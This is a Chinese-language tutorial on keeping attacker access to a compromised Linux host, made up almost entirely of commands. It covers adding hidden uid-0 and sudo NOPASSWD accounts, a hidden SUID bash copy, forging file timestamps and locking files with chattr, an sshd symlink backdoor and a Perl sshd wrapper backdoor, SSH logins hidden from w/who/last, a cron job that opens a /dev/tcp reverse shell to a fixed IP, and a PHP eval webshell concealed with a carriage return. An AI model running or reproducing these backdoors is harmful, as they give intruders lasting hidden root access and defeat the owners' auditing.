02-Linux系统权限维持
一 创建账号
1 在/etc/passwd中创建root的特权用户
/etc/passwd中数据的格式 账号:密码:uid:gid:描述:家目录:shell解释器,我们可以在/etc/passwd文件中添加一个test账号,密码为password@123(密文advwtv/9yU5yQ),uid为0的root特权用户
echo 'test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash' >> /etc/passwd
2 创建root账号的影子用户
#创建账号 useradd -o -u 0 -g 0 zhangsan #设置密码 passwd zhangsan
3 创建拥有sudo权限的账号
创建一个普通账号
#创建账号 useradd lisi #设置密码 passwd lisi
给账号授予sudo权限
#编辑/etc/sudoers文件 visudo #给lisi授予sudo权限 lisi ALL=(ALL:ALL) NOPASSWD:ALL
验证lisi查看shadow
[root@localhost zhangsan]# su lisi [lisi@localhost zhangsan]$ sudo cat /etc/shadow
4 普通用户+SUID权限维持
创建一个普通账号
#创建账号 useradd wangwu #设置密码 passwd wangwu
给命令授予suid权限
cp /bin/bash /bin/.... chmod u+s /bin/....
验证suid权限维持
[root@localhost zhangsan]# su wangwu [wangwu@localhost zhangsan]$ /bin/.... -p ....-4.2#
二 修改文件的属性
1 修改文件的创建时间
1.1根据时间查找文件
#查找1天内被修改过的文件 find / -mtime -1 #查找1天以前被修改过的文件 find / -mtime +1 #查找30分钟内被修改过的文件 find / -mmin -30 #查找30分钟以前被修改过的文件 find / -mmin +30
1.2 修改文件的创建时间
-
touch -r
#将/bin/bash的最后修改时间复制给/bin/.... touch -r /bin/bash /bin/....
-
touch -t
#将 /bin/....最后修改时间修改为2021年11月27日12点10分10秒 touch -t 202111271210.10 /bin/....
2 文件上锁,防止用户直接删除文件
2.1 隐藏属性介绍
Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,文件和目录具有一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。
chattr [+-=] [属性] 文件或目录名
属性选项 | 功能 |
---|---|
i | 如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件; |
a | 如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件; |
u | 设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。 |
s | 和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。 |
2.2 给文件添加隐藏属性
示例:为test.txt文件添加i属性,而后尝试删除该文件,提示无法删除。
[root@localhost ~]# chattr +i text.txt [root@localhost ~]# rm -rf ./text.txt rm: 无法删除"./text.txt": 不允许的操作
2.3查看文件的隐藏属性
使用lsattr可以查看文件的隐藏属性。
[root@localhost ~]# lsattr text.txt ----i----------- text.txt
3 创建隐藏文件
#创建一个隐藏文件.shell touch /.shell #创建一个隐藏文件 ... touch ... #创建一个隐藏目录 .... mkdir ....
三 SSH后门
1 软链接后门
#创建sshd的软件 ln -sf /usr/sbin/sshd /tmp/su #给这个软链接开放一个端口 /tmp/su -oPort=5555
使用ssh协议任意密码登录
2 SSH隐身登录
2.1 查看用户的登录情况
#查看当前登录到系统的所有用户 (tty 本地登录 pts 远程登录) w,who #查看最近所有登录成功的用户信息 last
2.2 SSH隐身登录
ssh -T wangwu@192.168.2.26 /bin/bash -i
使用这种方式登录后,w,who,last命令看不到登录信息
3 上传公钥,ssh免密登录
略
4 ssh warpper后门
-
该后门需要安装perl,使用命令“ yum install perl -y ”进行安装即可
-
构造一个恶意的sshd,具体操作如下:
cd /usr/sbin/ mv sshd ../bin/echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd systemctl restart sshd # 重启sshd服务
原理:首先启动的是/usr/sbin/sshd,执行到getpeername时,正则匹配会失败,接着执行下一句,启动/usr/bin/sshd(原始sshd)。原sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作,而后子进程又会执行系统默认的位置的/usr/sbin/sshd。此时子进程标准输入输出已被重定向到套接字,若getpeername能真的获取到客户端的TCP源端口且为13377(4A是13377的小端模式),就反回一个shell。
-
在kali上使用socat进行连接,指定源端口为13377。
成功连接,使用w命令看到不到kali在连接此机器,。
socat STDIO TCP4:192.168.214.129:22,sourceport=13377
这种后门方式隐蔽性较强,在没有连接的情况下,无法查看到对应的端口和进程,w、last等命令也查不到登录的情况
四 定时任务后门
1 在靶机上创建一个反弹shell定时任务
#编辑定时任务 crontab -e #添加每分钟执行一次反弹shell的定时任务 */1 * * * * bash -i >& /dev/tcp/192.168.2.32/6666 0>&1
2 在kali上开启监听
nc -lvnp 6666
五 cat隐藏
使用cat查看文件时,cat能够识别文件中的\r这种特殊符号,当文件中有\r特殊符号时,cat只能看到\r后面的内容
echo -e '<?php eval($_POST[0]);?>\rhelloworld' >mm.php